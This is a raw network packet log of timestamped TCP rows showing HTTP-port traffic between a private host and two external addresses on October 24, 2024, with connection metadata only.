Oct 24, 2024 04:58:02.998945951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.999111891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.999125004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.999172926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.999214888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.999228954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.999260902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.053895950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.053925991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.053941011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.053957939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.053963900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.053993940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.093975067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.093991995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.094007015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.094022989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.094043970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.094074011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.118096113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118155003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118191004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118197918 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.118242979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118279934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118288040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.118314981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118350029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.118405104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118457079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.118494987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.118527889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.173221111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.173263073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.173281908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.173297882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.173355103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.173363924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.173391104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.173419952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.173433065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.213505983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.213543892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.213579893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.213581085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.213630915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390019894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390100956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390172958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390193939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390208960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390242100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390264988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390275955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390309095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390336990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390348911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390384912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390427113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390567064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390604973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390619993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390647888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390681982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390693903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390717030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390748978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390762091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390784025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390816927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390835047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.390852928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.390902996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.391458035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.391491890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.391529083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.391541004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.391558886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.391606092 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.453017950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.453063965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.453099966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.453120947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.477196932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.477252960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.477287054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.477288961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.477324963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.477345943 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.477361917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.477416039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.478514910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.478549957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.478583097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.478601933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.509330034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.509346008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.509411097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.572386026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.572422028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.572457075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.572474957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.596307993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.596323013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.596338034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.596354008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.596369028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.596383095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.596396923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.596435070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.597732067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.597762108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.597794056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.597803116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.597830057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.597840071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.642802954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.682229996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.682341099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.682374001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.682409048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.691879988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.691915035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.691951990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.691971064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.692003965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.724586010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724642038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724679947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724713087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.724714994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724747896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724781990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724787951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.724817991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724827051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.724852085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.724900007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.801450968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.801467896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.801485062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.801500082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.801542044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.801584005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.811148882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.811193943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.811208010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.811223030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.811254978 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.811464071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.843904972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844027996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844043970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844059944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844074011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844089985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.844091892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844103098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.844109058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844126940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844134092 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.844139099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.844173908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.892805099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.920727968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.920742989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.920758963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.920773029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.920800924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.920840979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.930519104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.930533886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.930547953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.930586100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.963258982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963274956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963289976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963327885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.963365078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.963371038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963386059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963395119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963402987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963548899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.963692904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963709116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963723898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963756084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:03.963907957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963920116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:03.963948965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.017823935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.040002108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.040019035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.040091038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192070961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192111015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192126036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192143917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192159891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192159891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192176104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192188978 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192194939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192213058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192224026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192231894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192261934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192478895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192496061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192512035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192528009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192529917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192544937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192555904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192559958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192578077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.192585945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.192615986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.201745033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.201760054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.201848030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.202867985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.202883005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.203037024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.365740061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365758896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365775108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365791082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365803003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.365807056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365822077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365838051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365853071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.365853071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365871906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.365880013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.365909100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.366120100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.366137028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.366175890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.408410072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.431556940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.431591988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.431643963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.442591906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.442608118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.442625046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.442650080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.484930038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.484976053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.485116005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.533413887 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.534395933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.534410000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.534477949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.561929941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.561947107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.561961889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.562002897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.604173899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.604202032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.604217052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.604243994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.604288101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.681180000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.681298971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.681313992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.681329966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.681346893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.681349039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.681361914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.681371927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.681416035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.723606110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.723623037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.723639011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.723663092 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.767785072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.801678896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.801702023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.801719904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.801736116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.801750898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.801753044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.801780939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.842797995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:04.842850924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.912492990 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:04.917877913 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:04.917964935 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:04.918080091 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:04.923367023 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:04.946865082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:04.952258110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231045008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231112957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231163979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231167078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.231200933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231234074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231267929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231277943 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.231307030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.231359005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.349975109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.350003958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.350018978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.350059986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.350064039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.350078106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.350102901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.388885021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.388902903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.388919115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.388963938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.388995886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.388999939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.389014006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.389060974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.469557047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.469618082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.469654083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.469666004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.469686985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.469724894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.469772100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.740500927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.740537882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.740592003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.740602970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.740648031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.740705967 CEST	80	49774	185.215.113.16	192.168.2.6
